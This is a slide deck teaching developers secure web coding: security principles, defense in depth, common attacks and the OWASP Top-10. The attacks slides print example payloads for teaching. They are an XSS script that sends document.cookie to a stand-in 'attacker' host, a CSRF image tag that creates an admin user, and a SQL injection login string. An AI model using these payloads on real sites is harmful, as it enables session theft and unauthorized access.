Download - Secure Web Coding
Secure Web CodingBecause Infosec peeps come from Mars and
developers come from Venus…
$ whoami<profile> <real_name>Xavier Mertens</real_name> <day_job>Security Consultant</day_job> <night_job>Hacker, Blogger</night_job> <hobby>Your assets, Your data</hobby> <![CDATA[ www.truesec.be blog.rootshell.be;www.brucon.org; www.leakedin.com ]]></profile>
Agenda• You said “security”?
• “Why targeting me? My $DATA are not relevant”
• Infosec Guys VS. Developers
• General principles
• Attacks
• The OWASP Top-10 project
You said “security”?
Goals
• To protect “data”
• To prevent unauthorized access
• To prevent unauthorized modification
• To prevent loss
Information
Integrity
Availability
Confidentiality
Security is relative
• Directly related to your business and needs (internal of external rules)
• Security is measured at a time “T”
• Security is directly related to the weakest point
• Security must be constantly reviewed and adapted
– Bruce Schneier
“Security is a process, not a product.”
“Why attacking me? My $DATA aren’t relevant”
It’s all about $MONEY
• Security has a (huge) cost!
• The efforts must be proportional to the potential damage.
• A system can be considered “secure” if the effort of compromising it are higher than the gain of a breach.
It’s a business!
if $attackerInvestiment < $stolenDataValue: try: exploit() except: find_another_victim()
but…
Different motivations• Money
• Influence
• Fame
• Fun
• Pivot (often underestimated!)
Pivot?“We are always a weakest point for someone else!”
You PartnerMe Trust
Infosec Guys VS.
Developers
“Developers think of ways to make things”
“Security Peeps think of ways to break things”
Infosec Peeps VS. Devs
• Implement boring controls
• Make our daily job difficult
• Are paranoiac • Don’t know the
business
• Just write lines of code • Don’t have a clue
about security • Have short deadlines
(“RTM”) • Re-use pieces of code
(and their bugs)
Business
Management / Compliance
Infosec Guys Developers
General Principles
Security
Features Ease of Use
• Least privilege
• Minimize exposure
• Do not rely on “security by obscurity”
• Defense in depth
Defense in depth“Defense in Depth (also known as Castle Approach) is an information assurance concept in which multiple layers of
security controls (defense) are placed throughout an information technology (IT) system. Its intent is to provide redundancy in the event a security control fails or a
vulnerability is exploited.”
(Source: Wikipedia)
Multiple layers
Server
OS
Webserver
Database
Framework
Application
Firewall, Access-list, physical
HIDS, hardening
WAF
SQL proxy
Hardening
Developers
“But we have a WAF?”
• A WAF provides a false sense of security
• Useful in the following scenarios:
• Legacy application
• 0-day vulnerability
Input ResultsProcess
“Wrong inputs will generate wrong results!”
(Common) Attacks
Automated attacks
• Bots looking for recent (old ;-) vulnerabilities (ex: ShellSock)
• Scanners
• Script kiddies
Targeted attacks
• Usually below the radar and manual
• With a specific goal
XSS• Still remains a dangerous attack in 2014
• Reflective or stored
<script>new Image().src=“http://attacker/cookie.php?c=“+encodeURI(document.cookie);</script>
CSRF• Users surf on multiple websites at the same time
(using tabs)
• Users use admin profiles (like on Windows computers)
<img src=“http://secretsite.com/newuser.php?login=root2&pass=foobar&profile=admin” width=“1” height=“1”
border=“0”>
SQLi• Relevant data are stored in backend DB’s
POST /login.phpuser=admin&pass=foo’%20OR%2034>2;--
Best Practice• Consider every access to the application as
malicious until proven as “safe”
• User input can’t be trusted
• Input data must be validated, encoded & escaped
• Don’t trust other developers (code sharing)
• Don’t trust $VENDORS!
The OWASP Top-10 Project
“The OWASP Top-10 is a powerful awareness document for web application security. It represents a
broad consensus about what the most critical web application security flaws are.”
(Source: OWASP.org)
Top Categories• Injection
• Broken authentication and session management
• Cross-Site Scripting (XSS)
• Insecure direct object references
• Security misconfiguration
• Sensitive data exposure
• Missing function level access control
• Cross-Site Request Forgery (CSRF)
• Using components with known vulnerabilities
• Unvalidated redirects and forwards
http://owasp.org/index.php/Top10
Conclusions
Think “SDLC”!“Software Development Life Cycle”
Requirements
Design
CodingTesting
Deployment
“Thinking as a security guy can help developers to make things that are (more) difficult to break”
Thank You!